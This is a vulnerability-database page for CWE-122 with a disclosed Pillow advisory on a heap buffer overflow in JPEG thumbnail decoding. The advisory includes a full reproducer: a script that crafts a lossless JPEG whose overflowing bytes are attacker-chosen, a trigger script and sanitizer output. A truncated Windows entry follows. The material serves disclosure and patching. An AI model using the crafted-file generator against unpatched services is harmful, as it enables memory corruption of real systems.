CWE-122
AllowedHeap-based Buffer Overflow
Abstraction: Variant · Status: Draft
A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc().
6292 vulnerabilities reference this CWE, most recent first.
GHSA-8G5G-8VMR-9782
Vulnerability from github – Published: 2026-10-20 20:40 – Updated: 2026-10-20 20:40Summary
JpegImageFile.draft() — which Image.thumbnail() calls automatically — requests 1/2, 1/4 or 1/8 scaled JPEG output and shrinks self._size and the tile extents to match, so _setimage() allocates a single-row decode buffer of ceil(W/s) samples. ImagingJpegDecode() sets cinfo.scale_num/scale_denom, calls jpeg_start_decompress(), and then reads scanlines into that buffer without ever comparing cinfo.output_width, cinfo.output_height or cinfo.out_color_components against state->xsize, state->ysize and state->bits.
libjpeg-turbo 3.x decodes lossless (SOF3) JPEG, but hardwires lossless streams to no scaling — the requested scale_denom is silently discarded. It therefore returns full-width W-sample rows into a buffer sized for ceil(W/s). Each jpeg_read_scanlines() call writes (W - ceil(W/s)) x components bytes past the end of the heap allocation, and the overflowing bytes are the decoded pixel values, which are byte-exact for an 8-bit grayscale lossless image.
The input is a standards-compliant JPEG, so Image.open(..., formats=["JPEG"]) does not prevent it. Pillow's Python SOF parser already accepts marker 0xFFC3 ("SOF3", "Spatial lossless") at 8-bit precision, so the file opens normally as a JPEG / mode L image at its full declared size.
Affected code
At e41083f383c9cd3db95de52564cc0b6452313d4a (main, 2026-08-29):
src/libImaging/JpegDecode.c:224-262—ImagingJpegDecode();jpeg_start_decompress()at :240,jpeg_read_scanlines()at :252, with no geometry check between them.src/decode.c:222-231—_setimage();state->buffer = calloc(1, state->bytes)withstate->bytes = (state->bits * state->xsize + 7) / 8.src/PIL/JpegImagePlugin.py:428-464—JpegImageFile.draft(); computessand shrinks_size, the tile extents anddecoderconfigwith no notion of lossless coding.src/PIL/JpegImagePlugin.py:271—0xFFC3: ("SOF3", "Spatial lossless", SOF).
// src/libImaging/JpegDecode.c
if (context->scale > 1) {
context->cinfo.scale_num = 1;
context->cinfo.scale_denom = context->scale;
}
...
case 2:
if (!jpeg_start_decompress(&context->cinfo)) {
break;
}
state->state++;
/* fall through */
case 3:
ok = 1;
while (state->y < state->ysize) {
ok = jpeg_read_scanlines(&context->cinfo, &state->buffer, 1);
Because state->ysize (ceil(H/s)) can never equal libjpeg's output_height when s >= 2, the decode always ends in an error after the rows have already been written: the caller sees an exception and gets no pixels back. The OSError is a consequence of the overflow, not the issue being reported.
Primitive
Per scanline: a contiguous write of (W - ceil(W/s)) x c bytes immediately past a calloc(ceil(W/s) x c) block, where c = 1 for mode L and 4 for RGB (RGBX) and CMYK; repeated for ceil(H/s) rows over the same region. The buffer size class is chosen by the attacker through W, and for grayscale the overflowing content is an arbitrary attacker-chosen byte string.
Measured in the reproducer below: 1200x1100 mode L, s=2 — a 600-byte allocation, 600 bytes written past it, ASan reporting the whole 1200-byte row write as one memcpy.
Threshold: draft() must select s >= 2, i.e. W // requested_w >= 2 and H // requested_h >= 2. For thumbnail((256,256)) with the default reducing_gap=2.0 that means W, H >= 1024.
Reproduction
Self-contained Docker reproducer (Ubuntu 24.04, clang 20, libjpeg-turbo 3.1.4 and Pillow both built from source with -fsanitize=address; Pillow checked out at ${TARGET_COMMIT}, default e41083f383c9cd3db95de52564cc0b6452313d4a). Save the three files below as Dockerfile, make_sof3.py and trigger.py in an empty directory, then:
docker build -t pillow-sof3-oob . && docker run --rm pillow-sof3-oob
make_sof3.py is a self-contained encoder that emits a standards-compliant 8-bit grayscale lossless-Huffman JPEG (SOI / DHT / SOF3 P=8, Y=1100, X=1200, Nf=1 / SOS Ss=1 predictor 1, Se=0, Ah=Al=0 / entropy-coded row differences / EOI), whose rows carry a repeating marker pattern. trigger.py opens it and calls thumbnail(), whose implicit draft() picks s=2 and allocates a 600-byte row buffer.
Dockerfile
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
ARG TARGET_COMMIT=e41083f383c9cd3db95de52564cc0b6452313d4a
ARG CLANG_VERSION=20
ARG LIBJPEG_TURBO_TAG=3.1.4
RUN apt-get update && apt-get install -y --no-install-recommends \
ca-certificates git make cmake nasm pkg-config libc6-dev gcc \
wget gnupg lsb-release software-properties-common \
python3 python3-dev python3-pip python3-venv zlib1g-dev \
&& wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x /tmp/llvm.sh && /tmp/llvm.sh ${CLANG_VERSION} \
&& apt-get install -y --no-install-recommends clang-${CLANG_VERSION} llvm-${CLANG_VERSION} libclang-rt-${CLANG_VERSION}-dev \
&& rm -rf /var/lib/apt/lists/*
ENV CC=clang-20
ENV CXX=clang++-20
ENV CFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV CXXFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV LDFLAGS="-fsanitize=address"
# --- libjpeg-turbo 3.x (lossless SOF3 support) built with ASan ---
RUN git clone https://github.com/libjpeg-turbo/libjpeg-turbo /src/libjpeg-turbo
RUN cd /src/libjpeg-turbo && git checkout ${LIBJPEG_TURBO_TAG} \
&& cmake -B /build/ljt -S . -DCMAKE_BUILD_TYPE=None \
-DCMAKE_C_COMPILER=clang-20 \
-DCMAKE_C_FLAGS="$CFLAGS" \
-DCMAKE_EXE_LINKER_FLAGS="$LDFLAGS" \
-DCMAKE_SHARED_LINKER_FLAGS="$LDFLAGS" \
-DCMAKE_INSTALL_PREFIX=/opt/ljt -DWITH_JPEG8=0 -DENABLE_STATIC=0 \
&& cmake --build /build/ljt -j"$(nproc)" && cmake --install /build/ljt
# --- Pillow at the pinned commit, built with ASan against that libjpeg ---
RUN git clone https://github.com/python-pillow/Pillow /src/repo
WORKDIR /src/repo
RUN git checkout ${TARGET_COMMIT}
ENV JPEG_ROOT=/opt/ljt
ENV LD_LIBRARY_PATH=/opt/ljt/lib
RUN python3 -m venv /venv \
&& /venv/bin/pip install --quiet --upgrade pip "setuptools>=80" wheel pybind11 \
&& CFLAGS="$CFLAGS" LDFLAGS="$LDFLAGS -Wl,-rpath,/opt/ljt/lib" \
/venv/bin/pip install --no-build-isolation --no-deps . \
&& ln -sf "$(clang-20 -print-file-name=libclang_rt.asan-x86_64.so)" /opt/libasan.so \
&& LD_PRELOAD=/opt/libasan.so ASAN_OPTIONS=detect_leaks=0 \
/venv/bin/python3 -c "from PIL import Image, features; print(Image.__version__, features.version('jpg'))"
COPY make_sof3.py /tmp/make_sof3.py
COPY trigger.py /tmp/trigger.py
RUN python3 /tmp/make_sof3.py /tmp/sof3_gray_1200x1100.jpg
ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1
ENV ASAN_SYMBOLIZER_PATH=/usr/lib/llvm-20/bin/llvm-symbolizer
ENV LD_PRELOAD=/opt/libasan.so
CMD ["/bin/sh","-c","cd /tmp && /venv/bin/python3 /tmp/trigger.py 2>&1; echo EXIT=$?"]
make_sof3.py
#!/usr/bin/env python3
"""Generate an 8-bit grayscale lossless-Huffman (SOF3) JPEG.
Standards-compliant per ITU-T T.81 Annex H (lossless mode), predictor 1 (Ra).
Rows carry an attacker-chosen marker byte pattern verbatim (lossless => exact).
"""
import struct
import sys
W = 1200
H = 1100
MARKER = b"AAAABBBBCCCCDDDD" # attacker-chosen bytes that land past the buffer
class BitWriter:
def __init__(self):
self.out = bytearray()
self.acc = 0
self.n = 0
def put(self, value, nbits):
for i in range(nbits - 1, -1, -1):
self.acc = (self.acc << 1) | ((value >> i) & 1)
self.n += 1
if self.n == 8:
self.out.append(self.acc)
if self.acc == 0xFF:
self.out.append(0x00) # byte stuffing
self.acc = 0
self.n = 0
def flush(self):
while self.n:
self.put(1, 1)
return bytes(self.out)
# Canonical Huffman: 17 symbols (categories 0..16), all of code length 5.
BITS = [0] * 17
BITS[5] = 17
HUFFVAL = list(range(17))
CODES = {sym: (i, 5) for i, sym in enumerate(HUFFVAL)}
def category(d):
if d == 0:
return 0
return abs(d).bit_length()
def build_pixels():
rows = []
for y in range(H):
row = bytearray()
while len(row) < W:
row += MARKER
rows.append(bytes(row[:W]))
return rows
def main(path):
rows = build_pixels()
bw = BitWriter()
prev = None
for y in range(H):
row = rows[y]
for x in range(W):
s = row[x]
if y == 0 and x == 0:
pred = 1 << 7 # 2^(P-1-Pt)
elif x == 0:
pred = prev[0] # Rb for first sample of a line
else:
pred = row[x - 1] # Ra, predictor 1
d = (s - pred) & 0xFFFF
if d >= 0x8000:
d -= 0x10000
ssss = category(d)
code, length = CODES[ssss]
bw.put(code, length)
if ssss:
v = d if d > 0 else d + (1 << ssss) - 1
bw.put(v & ((1 << ssss) - 1), ssss)
prev = row
entropy = bw.flush()
out = bytearray()
out += b"\xff\xd8" # SOI
# DHT: class 0 (DC/lossless), table id 0
dht = bytes([0x00]) + bytes(BITS[1:17]) + bytes(HUFFVAL)
out += b"\xff\xc4" + struct.pack(">H", len(dht) + 2) + dht
# SOF3: lossless, Huffman, sequential
sof = struct.pack(">BHHB", 8, H, W, 1) + bytes([1, 0x11, 0])
out += b"\xff\xc3" + struct.pack(">H", len(sof) + 2) + sof
# SOS: Ns=1, Cs=1, Td=0/Ta=0, Ss=1 (predictor 1), Se=0, Ah=0/Al=0
sos = bytes([1, 1, 0x00, 1, 0, 0])
out += b"\xff\xda" + struct.pack(">H", len(sos) + 2) + sos
out += entropy
out += b"\xff\xd9" # EOI
with open(path, "wb") as f:
f.write(bytes(out))
print(f"wrote {path}: {len(out)} bytes, {W}x{H} 8-bit grayscale SOF3 lossless")
if __name__ == "__main__":
main(sys.argv[1] if len(sys.argv) > 1 else "/tmp/sof3_gray_1200x1100.jpg")
trigger.py
import sys
from PIL import Image, features
print("Pillow", Image.__version__, "| libjpeg", features.version("jpg"), flush=True)
im = Image.open("/tmp/sof3_gray_1200x1100.jpg")
print("format=%s mode=%s size=%s" % (im.format, im.mode, im.size), flush=True)
print(">>> im.thumbnail((256, 256)) # draft() picks s=2 -> 600-byte row buffer", flush=True)
sys.stdout.flush()
try:
im.thumbnail((256, 256))
print("thumbnail returned, size=%s" % (im.size,), flush=True)
except Exception as e:
print("exception: %r" % (e,), flush=True)
Validated output:
Pillow 13.0.0.dev0 | libjpeg 6.2
format=JPEG mode=L size=(1200, 1100)
>>> im.thumbnail((256, 256)) # draft() picks s=2 -> 600-byte row buffer
=================================================================
==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x74e4e904aad8 at pc 0x7784ea4f9422
WRITE of size 1200 at 0x74e4e904aad8 thread T0
#0 __asan_memcpy
#1 jcopy_sample_rows /src/libjpeg-turbo/src/wrapper/../jutils.c:121:5
#2 sep_upsample /src/libjpeg-turbo/src/wrapper/../jdsample.c:100:3
#3 process_data_simple_main /src/libjpeg-turbo/src/wrapper/../jdmainct.c:317:3
#4 jpeg_read_scanlines /src/libjpeg-turbo/src/wrapper/../jdapistd.c:359:3
#5 ImagingJpegDecode /src/repo/src/libImaging/JpegDecode.c:252:22
#6 _decode /src/repo/src/decode.c:132:14
0x74e4e904aad8 is located 0 bytes after 600-byte region [0x74e4e904a880,0x74e4e904aad8)
allocated by thread T0 here:
#0 calloc
#1 _setimage /src/repo/src/decode.c:230:34
SUMMARY: AddressSanitizer: heap-buffer-overflow in __asan_memcpy
Negative control, same image: a baseline DCT JPEG of identical dimensions thumbnails cleanly, because libjpeg honours 1/2 scaling exactly as draft() computed it.
control baseline DCT JPEG: JPEG L (1200, 1100)
thumbnail OK, size = (256, 235) -- no ASan report
Scope and caveats
- Reproduced on
mainate41083f383c9cd3db95de52564cc0b6452313d4a, which is currentorigin/mainas of 2026-08-30. Also reported against 12.3.0. - Requires the linked libjpeg to support lossless decoding, i.e. libjpeg-turbo >= 3.0. That is what the official Pillow wheels bundle. Builds against libjpeg-turbo 2.x or IJG libjpeg reject SOF3 before any row is decoded and are not affected.
- No non-default Pillow configuration is involved:
Image.thumbnail()callsdraft()by default, and the triggering bytes are entirely file data. - Only paths that use
draft()before loading are affected.open().load()andresize()decode at scale 1 and are unaffected. Callingimg.load()beforethumbnail(), orthumbnail(..., reducing_gap=None), avoids the path in an application today. - Not affected on the same code path: SOF11 (arithmetic lossless) fails with
JERR_ARITH_NOTIMPLbefore any row; 12- and 16-bit lossless are rejected by Pillow'sSOF()because it requiresbits == 8; SOF5-7/13-15 fail withJERR_SOF_UNSUPPORTED.
Credit and disclosure
Found by Anthropic using Claude to study the security of open-source software, validated manually by Ada Logics.
This report follows Anthropic's coordinated vulnerability disclosure policy (https://www.anthropic.com/coordinated-vulnerability-disclosure), with a 90-day disclosure window from the date of this report.
Credit goes to Claude (Anthropic) and Ada Logics.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 12.3.0"
},
"package": {
"ecosystem": "PyPI",
"name": "Pillow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "13.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-112403"
],
"database_specific": {
"cwe_ids": [
"CWE-122"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-20T20:40:07Z",
"nvd_published_at": "2026-10-19T22:17:07Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\n`JpegImageFile.draft()` \u2014 which `Image.thumbnail()` calls automatically \u2014 requests 1/2, 1/4 or 1/8 scaled JPEG output and shrinks `self._size` and the tile extents to match, so `_setimage()` allocates a single-row decode buffer of `ceil(W/s)` samples. `ImagingJpegDecode()` sets `cinfo.scale_num`/`scale_denom`, calls `jpeg_start_decompress()`, and then reads scanlines into that buffer without ever comparing `cinfo.output_width`, `cinfo.output_height` or `cinfo.out_color_components` against `state-\u003exsize`, `state-\u003eysize` and `state-\u003ebits`.\n\nlibjpeg-turbo 3.x decodes lossless (SOF3) JPEG, but hardwires lossless streams to no scaling \u2014 the requested `scale_denom` is silently discarded. It therefore returns full-width `W`-sample rows into a buffer sized for `ceil(W/s)`. Each `jpeg_read_scanlines()` call writes `(W - ceil(W/s)) x components` bytes past the end of the heap allocation, and the overflowing bytes are the decoded pixel values, which are byte-exact for an 8-bit grayscale lossless image.\n\nThe input is a standards-compliant JPEG, so `Image.open(..., formats=[\"JPEG\"])` does not prevent it. Pillow\u0027s Python SOF parser already accepts marker `0xFFC3` (\"SOF3\", \"Spatial lossless\") at 8-bit precision, so the file opens normally as a `JPEG` / mode `L` image at its full declared size.\n\n## Affected code\n\nAt `e41083f383c9cd3db95de52564cc0b6452313d4a` (`main`, 2026-08-29):\n\n- `src/libImaging/JpegDecode.c:224-262` \u2014 `ImagingJpegDecode()`; `jpeg_start_decompress()` at :240, `jpeg_read_scanlines()` at :252, with no geometry check between them.\n- `src/decode.c:222-231` \u2014 `_setimage()`; `state-\u003ebuffer = calloc(1, state-\u003ebytes)` with `state-\u003ebytes = (state-\u003ebits * state-\u003exsize + 7) / 8`.\n- `src/PIL/JpegImagePlugin.py:428-464` \u2014 `JpegImageFile.draft()`; computes `s` and shrinks `_size`, the tile extents and `decoderconfig` with no notion of lossless coding.\n- `src/PIL/JpegImagePlugin.py:271` \u2014 `0xFFC3: (\"SOF3\", \"Spatial lossless\", SOF)`.\n\n```c\n// src/libImaging/JpegDecode.c\n if (context-\u003escale \u003e 1) {\n context-\u003ecinfo.scale_num = 1;\n context-\u003ecinfo.scale_denom = context-\u003escale;\n }\n ...\n case 2:\n if (!jpeg_start_decompress(\u0026context-\u003ecinfo)) {\n break;\n }\n state-\u003estate++;\n /* fall through */\n case 3:\n ok = 1;\n while (state-\u003ey \u003c state-\u003eysize) {\n ok = jpeg_read_scanlines(\u0026context-\u003ecinfo, \u0026state-\u003ebuffer, 1);\n```\n\nBecause `state-\u003eysize` (`ceil(H/s)`) can never equal libjpeg\u0027s `output_height` when `s \u003e= 2`, the decode always ends in an error after the rows have already been written: the caller sees an exception and gets no pixels back. The `OSError` is a consequence of the overflow, not the issue being reported.\n\n## Primitive\n\nPer scanline: a contiguous write of `(W - ceil(W/s)) x c` bytes immediately past a `calloc(ceil(W/s) x c)` block, where `c = 1` for mode `L` and 4 for RGB (RGBX) and CMYK; repeated for `ceil(H/s)` rows over the same region. The buffer size class is chosen by the attacker through `W`, and for grayscale the overflowing content is an arbitrary attacker-chosen byte string.\n\nMeasured in the reproducer below: 1200x1100 mode `L`, `s=2` \u2014 a 600-byte allocation, 600 bytes written past it, ASan reporting the whole 1200-byte row write as one `memcpy`.\n\nThreshold: `draft()` must select `s \u003e= 2`, i.e. `W // requested_w \u003e= 2` and `H // requested_h \u003e= 2`. For `thumbnail((256,256))` with the default `reducing_gap=2.0` that means `W, H \u003e= 1024`.\n\n## Reproduction\n\nSelf-contained Docker reproducer (Ubuntu 24.04, clang 20, libjpeg-turbo 3.1.4 and Pillow both built from source with `-fsanitize=address`; Pillow checked out at `${TARGET_COMMIT}`, default `e41083f383c9cd3db95de52564cc0b6452313d4a`). Save the three files below as `Dockerfile`, `make_sof3.py` and `trigger.py` in an empty directory, then:\n\n```bash\ndocker build -t pillow-sof3-oob . \u0026\u0026 docker run --rm pillow-sof3-oob\n```\n\n`make_sof3.py` is a self-contained encoder that emits a standards-compliant 8-bit grayscale lossless-Huffman JPEG (SOI / DHT / SOF3 `P=8, Y=1100, X=1200, Nf=1` / SOS `Ss=1` predictor 1, `Se=0`, `Ah=Al=0` / entropy-coded row differences / EOI), whose rows carry a repeating marker pattern. `trigger.py` opens it and calls `thumbnail()`, whose implicit `draft()` picks `s=2` and allocates a 600-byte row buffer.\n\n### `Dockerfile`\n\n```dockerfile\nFROM ubuntu:24.04\nENV DEBIAN_FRONTEND=noninteractive\nARG TARGET_COMMIT=e41083f383c9cd3db95de52564cc0b6452313d4a\nARG CLANG_VERSION=20\nARG LIBJPEG_TURBO_TAG=3.1.4\n\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n ca-certificates git make cmake nasm pkg-config libc6-dev gcc \\\n wget gnupg lsb-release software-properties-common \\\n python3 python3-dev python3-pip python3-venv zlib1g-dev \\\n \u0026\u0026 wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh \u0026\u0026 chmod +x /tmp/llvm.sh \u0026\u0026 /tmp/llvm.sh ${CLANG_VERSION} \\\n \u0026\u0026 apt-get install -y --no-install-recommends clang-${CLANG_VERSION} llvm-${CLANG_VERSION} libclang-rt-${CLANG_VERSION}-dev \\\n \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\nENV CC=clang-20\nENV CXX=clang++-20\nENV CFLAGS=\"-g -fno-omit-frame-pointer -O1 -fsanitize=address\"\nENV CXXFLAGS=\"-g -fno-omit-frame-pointer -O1 -fsanitize=address\"\nENV LDFLAGS=\"-fsanitize=address\"\n\n# --- libjpeg-turbo 3.x (lossless SOF3 support) built with ASan ---\nRUN git clone https://github.com/libjpeg-turbo/libjpeg-turbo /src/libjpeg-turbo\nRUN cd /src/libjpeg-turbo \u0026\u0026 git checkout ${LIBJPEG_TURBO_TAG} \\\n \u0026\u0026 cmake -B /build/ljt -S . -DCMAKE_BUILD_TYPE=None \\\n -DCMAKE_C_COMPILER=clang-20 \\\n -DCMAKE_C_FLAGS=\"$CFLAGS\" \\\n -DCMAKE_EXE_LINKER_FLAGS=\"$LDFLAGS\" \\\n -DCMAKE_SHARED_LINKER_FLAGS=\"$LDFLAGS\" \\\n -DCMAKE_INSTALL_PREFIX=/opt/ljt -DWITH_JPEG8=0 -DENABLE_STATIC=0 \\\n \u0026\u0026 cmake --build /build/ljt -j\"$(nproc)\" \u0026\u0026 cmake --install /build/ljt\n\n# --- Pillow at the pinned commit, built with ASan against that libjpeg ---\nRUN git clone https://github.com/python-pillow/Pillow /src/repo\nWORKDIR /src/repo\nRUN git checkout ${TARGET_COMMIT}\n\nENV JPEG_ROOT=/opt/ljt\nENV LD_LIBRARY_PATH=/opt/ljt/lib\nRUN python3 -m venv /venv \\\n \u0026\u0026 /venv/bin/pip install --quiet --upgrade pip \"setuptools\u003e=80\" wheel pybind11 \\\n \u0026\u0026 CFLAGS=\"$CFLAGS\" LDFLAGS=\"$LDFLAGS -Wl,-rpath,/opt/ljt/lib\" \\\n /venv/bin/pip install --no-build-isolation --no-deps . \\\n \u0026\u0026 ln -sf \"$(clang-20 -print-file-name=libclang_rt.asan-x86_64.so)\" /opt/libasan.so \\\n \u0026\u0026 LD_PRELOAD=/opt/libasan.so ASAN_OPTIONS=detect_leaks=0 \\\n /venv/bin/python3 -c \"from PIL import Image, features; print(Image.__version__, features.version(\u0027jpg\u0027))\"\n\nCOPY make_sof3.py /tmp/make_sof3.py\nCOPY trigger.py /tmp/trigger.py\nRUN python3 /tmp/make_sof3.py /tmp/sof3_gray_1200x1100.jpg\n\nENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1\nENV ASAN_SYMBOLIZER_PATH=/usr/lib/llvm-20/bin/llvm-symbolizer\nENV LD_PRELOAD=/opt/libasan.so\nCMD [\"/bin/sh\",\"-c\",\"cd /tmp \u0026\u0026 /venv/bin/python3 /tmp/trigger.py 2\u003e\u00261; echo EXIT=$?\"]\n```\n\n### `make_sof3.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"Generate an 8-bit grayscale lossless-Huffman (SOF3) JPEG.\n\nStandards-compliant per ITU-T T.81 Annex H (lossless mode), predictor 1 (Ra).\nRows carry an attacker-chosen marker byte pattern verbatim (lossless =\u003e exact).\n\"\"\"\nimport struct\nimport sys\n\nW = 1200\nH = 1100\nMARKER = b\"AAAABBBBCCCCDDDD\" # attacker-chosen bytes that land past the buffer\n\n\nclass BitWriter:\n def __init__(self):\n self.out = bytearray()\n self.acc = 0\n self.n = 0\n\n def put(self, value, nbits):\n for i in range(nbits - 1, -1, -1):\n self.acc = (self.acc \u003c\u003c 1) | ((value \u003e\u003e i) \u0026 1)\n self.n += 1\n if self.n == 8:\n self.out.append(self.acc)\n if self.acc == 0xFF:\n self.out.append(0x00) # byte stuffing\n self.acc = 0\n self.n = 0\n\n def flush(self):\n while self.n:\n self.put(1, 1)\n return bytes(self.out)\n\n\n# Canonical Huffman: 17 symbols (categories 0..16), all of code length 5.\nBITS = [0] * 17\nBITS[5] = 17\nHUFFVAL = list(range(17))\nCODES = {sym: (i, 5) for i, sym in enumerate(HUFFVAL)}\n\n\ndef category(d):\n if d == 0:\n return 0\n return abs(d).bit_length()\n\n\ndef build_pixels():\n rows = []\n for y in range(H):\n row = bytearray()\n while len(row) \u003c W:\n row += MARKER\n rows.append(bytes(row[:W]))\n return rows\n\n\ndef main(path):\n rows = build_pixels()\n bw = BitWriter()\n prev = None\n for y in range(H):\n row = rows[y]\n for x in range(W):\n s = row[x]\n if y == 0 and x == 0:\n pred = 1 \u003c\u003c 7 # 2^(P-1-Pt)\n elif x == 0:\n pred = prev[0] # Rb for first sample of a line\n else:\n pred = row[x - 1] # Ra, predictor 1\n d = (s - pred) \u0026 0xFFFF\n if d \u003e= 0x8000:\n d -= 0x10000\n ssss = category(d)\n code, length = CODES[ssss]\n bw.put(code, length)\n if ssss:\n v = d if d \u003e 0 else d + (1 \u003c\u003c ssss) - 1\n bw.put(v \u0026 ((1 \u003c\u003c ssss) - 1), ssss)\n prev = row\n entropy = bw.flush()\n\n out = bytearray()\n out += b\"\\xff\\xd8\" # SOI\n # DHT: class 0 (DC/lossless), table id 0\n dht = bytes([0x00]) + bytes(BITS[1:17]) + bytes(HUFFVAL)\n out += b\"\\xff\\xc4\" + struct.pack(\"\u003eH\", len(dht) + 2) + dht\n # SOF3: lossless, Huffman, sequential\n sof = struct.pack(\"\u003eBHHB\", 8, H, W, 1) + bytes([1, 0x11, 0])\n out += b\"\\xff\\xc3\" + struct.pack(\"\u003eH\", len(sof) + 2) + sof\n # SOS: Ns=1, Cs=1, Td=0/Ta=0, Ss=1 (predictor 1), Se=0, Ah=0/Al=0\n sos = bytes([1, 1, 0x00, 1, 0, 0])\n out += b\"\\xff\\xda\" + struct.pack(\"\u003eH\", len(sos) + 2) + sos\n out += entropy\n out += b\"\\xff\\xd9\" # EOI\n with open(path, \"wb\") as f:\n f.write(bytes(out))\n print(f\"wrote {path}: {len(out)} bytes, {W}x{H} 8-bit grayscale SOF3 lossless\")\n\n\nif __name__ == \"__main__\":\n main(sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/sof3_gray_1200x1100.jpg\")\n```\n\n### `trigger.py`\n\n```python\nimport sys\nfrom PIL import Image, features\nprint(\"Pillow\", Image.__version__, \"| libjpeg\", features.version(\"jpg\"), flush=True)\nim = Image.open(\"/tmp/sof3_gray_1200x1100.jpg\")\nprint(\"format=%s mode=%s size=%s\" % (im.format, im.mode, im.size), flush=True)\nprint(\"\u003e\u003e\u003e im.thumbnail((256, 256)) # draft() picks s=2 -\u003e 600-byte row buffer\", flush=True)\nsys.stdout.flush()\ntry:\n im.thumbnail((256, 256))\n print(\"thumbnail returned, size=%s\" % (im.size,), flush=True)\nexcept Exception as e:\n print(\"exception: %r\" % (e,), flush=True)\n```\n\nValidated output:\n\n```\nPillow 13.0.0.dev0 | libjpeg 6.2\nformat=JPEG mode=L size=(1200, 1100)\n\u003e\u003e\u003e im.thumbnail((256, 256)) # draft() picks s=2 -\u003e 600-byte row buffer\n=================================================================\n==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x74e4e904aad8 at pc 0x7784ea4f9422\nWRITE of size 1200 at 0x74e4e904aad8 thread T0\n #0 __asan_memcpy\n #1 jcopy_sample_rows /src/libjpeg-turbo/src/wrapper/../jutils.c:121:5\n #2 sep_upsample /src/libjpeg-turbo/src/wrapper/../jdsample.c:100:3\n #3 process_data_simple_main /src/libjpeg-turbo/src/wrapper/../jdmainct.c:317:3\n #4 jpeg_read_scanlines /src/libjpeg-turbo/src/wrapper/../jdapistd.c:359:3\n #5 ImagingJpegDecode /src/repo/src/libImaging/JpegDecode.c:252:22\n #6 _decode /src/repo/src/decode.c:132:14\n\n0x74e4e904aad8 is located 0 bytes after 600-byte region [0x74e4e904a880,0x74e4e904aad8)\nallocated by thread T0 here:\n #0 calloc\n #1 _setimage /src/repo/src/decode.c:230:34\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow in __asan_memcpy\n```\n\nNegative control, same image: a baseline DCT JPEG of identical dimensions thumbnails cleanly, because libjpeg honours 1/2 scaling exactly as `draft()` computed it.\n\n```\ncontrol baseline DCT JPEG: JPEG L (1200, 1100)\nthumbnail OK, size = (256, 235) -- no ASan report\n```\n\n## Scope and caveats\n\n- Reproduced on `main` at `e41083f383c9cd3db95de52564cc0b6452313d4a`, which is current `origin/main` as of 2026-08-30. Also reported against 12.3.0.\n- Requires the linked libjpeg to support lossless decoding, i.e. libjpeg-turbo \u003e= 3.0. That is what the official Pillow wheels bundle. Builds against libjpeg-turbo 2.x or IJG libjpeg reject SOF3 before any row is decoded and are not affected.\n- No non-default Pillow configuration is involved: `Image.thumbnail()` calls `draft()` by default, and the triggering bytes are entirely file data.\n- Only paths that use `draft()` before loading are affected. `open().load()` and `resize()` decode at scale 1 and are unaffected. Calling `img.load()` before `thumbnail()`, or `thumbnail(..., reducing_gap=None)`, avoids the path in an application today.\n- Not affected on the same code path: SOF11 (arithmetic lossless) fails with `JERR_ARITH_NOTIMPL` before any row; 12- and 16-bit lossless are rejected by Pillow\u0027s `SOF()` because it requires `bits == 8`; SOF5-7/13-15 fail with `JERR_SOF_UNSUPPORTED`.\n\n\n## Credit and disclosure\n\nFound by Anthropic using Claude to study the security of open-source software, validated manually by Ada Logics.\n\nThis report follows Anthropic\u0027s coordinated vulnerability disclosure policy\n(https://www.anthropic.com/coordinated-vulnerability-disclosure), with a 90-day\ndisclosure window from the date of this report.\n\nCredit goes to Claude (Anthropic) and Ada Logics.",
"id": "GHSA-8g5g-8vmr-9782",
"modified": "2026-10-20T20:40:07Z",
"published": "2026-10-20T20:40:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-8g5g-8vmr-9782"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112403"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/commit/242a059aedc1935097d9aa1dc3f099750467ba75"
},
{
"type": "PACKAGE",
"url": "https://github.com/python-pillow/Pillow"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Pillow: Heap buffer overflow in ImagingJpegDecode"
}
GHSA-8G6C-M668-G9VJ
Vulnerability from github – Published: 2025-07-08 18:31 – Updated: 2025-07-08 18:31Time-of-check time-of-use (toctou) race condition in Microsoft Windows QoS scheduler allows an authorized attacker to elevate privileges locally.
{
"affected": [],
"aliases": [
"CVE-2025-49730"
],
"database_specific": {
"cwe_ids": [
"CWE-122"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-08T17:16:01Z",
"severity": "HIGH"
},
"details": "Time-of-check time-of-use (toctou) race condition in Microsoft Windows QoS scheduler allows an authorized attacker to elevate privileges locally.",
"id": "GHSA-8g6c-m668-g9vj",
"modified": "2025-07-08T18:31:51Z",
"published": "2025-07-08T18:31:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49730"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49730"
}
],
"schema_version": "1.4.0",
"severity": [
{
